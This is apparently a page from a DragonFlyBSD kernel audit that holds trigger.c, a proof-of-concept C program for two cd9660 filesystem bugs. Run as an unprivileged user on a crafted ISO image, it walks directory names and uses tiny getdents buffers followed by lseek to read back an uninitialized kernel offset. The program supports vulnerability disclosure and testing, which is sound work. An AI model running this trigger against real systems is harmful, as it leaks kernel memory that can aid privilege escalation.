⬢ DragonFlyBSD Kernel Audit
DF-3147 / trigger.c
← back to finding ↓ download raw
/* DF-3146 / DF-3147 trigger -- run as an unprivileged user on a mounted
 * crafted cd9660 filesystem.
 *
 *   dirent <dir>     walk the directory with getdents(32K) and hexdump every
 *                    returned name (RRIP NM walk executes per entry)
 *   tinyseek <dir>   one getdents with an 8-byte buffer (too small for the
 *                    first entry), then lseek(fd, 0, SEEK_CUR); the offset
 *                    returned is cd9660_readdir's uninitialized idp->uio_off
 *   seekloop <dir> n repeat tinyseek n times
 */
#include <sys/types.h>
#include <sys/dirent.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>

#ifndef __DragonFly__
#error "guest only"
#endif

ssize_t getdents(int fd, void *buf, size_t nbytes); /* DFly libc */

static void
hexdump_name(const char *tag, const char *buf, int len)
{
	int i;
	printf("%s namelen=%d name hex:", tag, len);
	for (i = 0; i < len; i++)
		printf(" %02x", (unsigned char)buf[i]);
	printf("\n");
	fflush(stdout);
}

static int
do_dirent(const char *dir)
{
	char buf[32768];
	char *dp;
	int fd, n;

	fd = open(dir, O_RDONLY);
	if (fd < 0) { perror("open"); return 1; }
	for (;;) {
		n = getdents(fd, buf, sizeof(buf));
		if (n <= 0) {
			printf("getdents rc=%d errno=%d\n", n, errno);
			break;
		}
		for (dp = buf; dp < buf + n;
		     dp += _DIRENT_DIRSIZ((struct dirent *)dp)) {
			struct dirent *de = (struct dirent *)dp;
			printf("ino=%llu namlen=%u type=%u :",
			    (unsigned long long)de->d_ino,
			    de->d_namlen, de->d_type);
			hexdump_name("", de->d_name, de->d_namlen);
		}
	}
	close(fd);
	return 0;
}

static int
do_tinyseek(const char *dir)
{
	char buf[8];
	long long off;
	int fd, n;

	fd = open(dir, O_RDONLY);
	if (fd < 0) { perror("open"); return 1; }
	n = getdents(fd, buf, sizeof(buf));
	errno = 0;
	off = lseek(fd, 0, SEEK_CUR);
	printf("getdents(8) rc=%d ; lseek(SEEK_CUR) = 0x%llx (%lld) errno=%d\n",
	    n, (unsigned long long)off, off, errno);
	close(fd);
	return 0;
}

static int
do_doubletiny(const char *dir)
{
	char buf[8], buf2[4096];
	long long off;
	int fd, n;

	fd = open(dir, O_RDONLY);
	if (fd < 0) { perror("open"); return 1; }
	n = getdents(fd, buf, sizeof(buf));
	off = lseek(fd, 0, SEEK_CUR);
	printf("1st getdents(8) rc=%d ; lseek(SEEK_CUR)=0x%llx (%lld)\n",
	    n, (unsigned long long)off, off);
	n = getdents(fd, buf2, sizeof(buf2));
	off = lseek(fd, 0, SEEK_CUR);
	printf("2nd getdents(4096) rc=%d errno=%d ; lseek(SEEK_CUR)=0x%llx (%lld)\n",
	    n, errno, (unsigned long long)off, off);
	close(fd);
	return 0;
}

int
main(int argc, char **argv)
{
	if (argc < 3) {
		fprintf(stderr, "usage: %s dirent|tinyseek|seekloop|doubletiny <dir> [n]\n",
		    argv[0]);
		return 2;
	}
	if (strcmp(argv[1], "doubletiny") == 0)
		return do_doubletiny(argv[2]);
	if (strcmp(argv[1], "dirent") == 0)
		return do_dirent(argv[2]);
	if (strcmp(argv[1], "tinyseek") == 0)
		return do_tinyseek(argv[2]);
	if (strcmp(argv[1], "seekloop") == 0) {
		int i, n = argc > 3 ? atoi(argv[3]) : 8;
		for (i = 0; i < n; i++)
			do_tinyseek(argv[2]);
		return 0;
	}
	return 2;
}